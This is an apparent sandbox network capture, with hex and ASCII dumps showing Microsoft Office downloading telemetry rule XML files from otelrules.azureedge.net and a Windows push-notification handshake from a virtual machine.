2024-12-04 15:15:57 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49846	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:57 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:57 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 626f2b07-401e-0015-15d1-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151557Z-1746fd949bdqpttnhC1EWRe1wg000000012000000000k1ww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:57 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49847	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:57 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:57 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: e8edc24c-801e-0083-0ecc-45f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151557Z-1746fd949bdjrnwqhC1EWRpg2800000001a000000000q5tb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:58 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49848	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:58 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:58 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 3e1c70e6-d01e-0028-76c3-457896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151558Z-1746fd949bd54zxghC1EWRzre400000001k000000000n6vt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:58 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49849	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:58 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:59 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4927bbd2-c01e-000b-53cc-45e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151559Z-1746fd949bdl6zq5hC1EWRf3ws000000010g00000000gd0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:59 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49850	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:59 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:59 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: d1823508-801e-008c-16d3-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151559Z-1746fd949bdkw94lhC1EWRxuz400000001d000000000qr6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:59 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49851	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:59 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:59 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8db94728-c01e-0034-79d1-452af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151559Z-1746fd949bd4w8sthC1EWR7004000000013g00000000ece0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:00 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49852	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:59 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:00 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c43eeb18-901e-008f-6ecb-4567a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151600Z-1746fd949bd77mkmhC1EWR5efc00000001s00000000017u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:00 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49853	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:00 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:00 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dea1083a-301e-0051-14cb-4538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151600Z-1746fd949bdxk6n6hC1EWRdr8c000000014000000000p7kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:00 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49854	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:00 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 77 34 33 6a 30 75 39 45 66 30 69 67 49 36 45 75 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 64 62 30 33 35 36 31 33 64 65 37 65 37 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: w43j0u9Ef0igI6Eu.1Context: 8cdb035613de7e72
2024-12-04 15:16:00 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-04 15:16:00 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 77 34 33 6a 30 75 39 45 66 30 69 67 49 36 45 75 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 64 62 30 33 35 36 31 33 64 65 37 65 37 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 35 77 4f 39 68 76 62 45 4d 2b 69 53 66 45 2b 38 44 46 45 6f 61 6d 47 46 76 53 62 58 34 48 49 51 59 4b 35 45 4b 78 75 36 71 38 39 54 39 4f 4a 6e 46 63 44 4f 72 39 65 57 4d 58 41 64 56 37 4b 38 6a 69 4f 45 35 51 2f 38 52 49 4b 4a 69 65 49 72 4b 72 54 5a 4c 75 38 52 48 6d 6c 4b 50 63 2b 63 66 46 50 35 42 4f 44 44 46 6f 32 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: w43j0u9Ef0igI6Eu.2Context: 8cdb035613de7e72<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe5wO9hvbEM+iSfE+8DFEoamGFvSbX4HIQYK5EKxu6q89T9OJnFcDOr9eWMXAdV7K8jiOE5Q/8RIKJieIrKrTZLu8RHmlKPc+cfFP5BODDFo25
2024-12-04 15:16:00 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 77 34 33 6a 30 75 39 45 66 30 69 67 49 36 45 75 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 64 62 30 33 35 36 31 33 64 65 37 65 37 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: w43j0u9Ef0igI6Eu.3Context: 8cdb035613de7e72<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-04 15:16:01 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-04 15:16:01 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 49 49 4e 36 6b 6c 43 74 30 32 4c 39 6d 78 76 6a 55 2f 70 4b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7IIN6klCt02L9mxvjU/pKw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49855	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:00 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:16:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:16:01 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 5bdbb5de-801e-0067-47cb-45fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151601Z-1746fd949bdjzh7thC1EWR3g6400000001a000000000nda4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:16:01 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49856	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:16:01 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
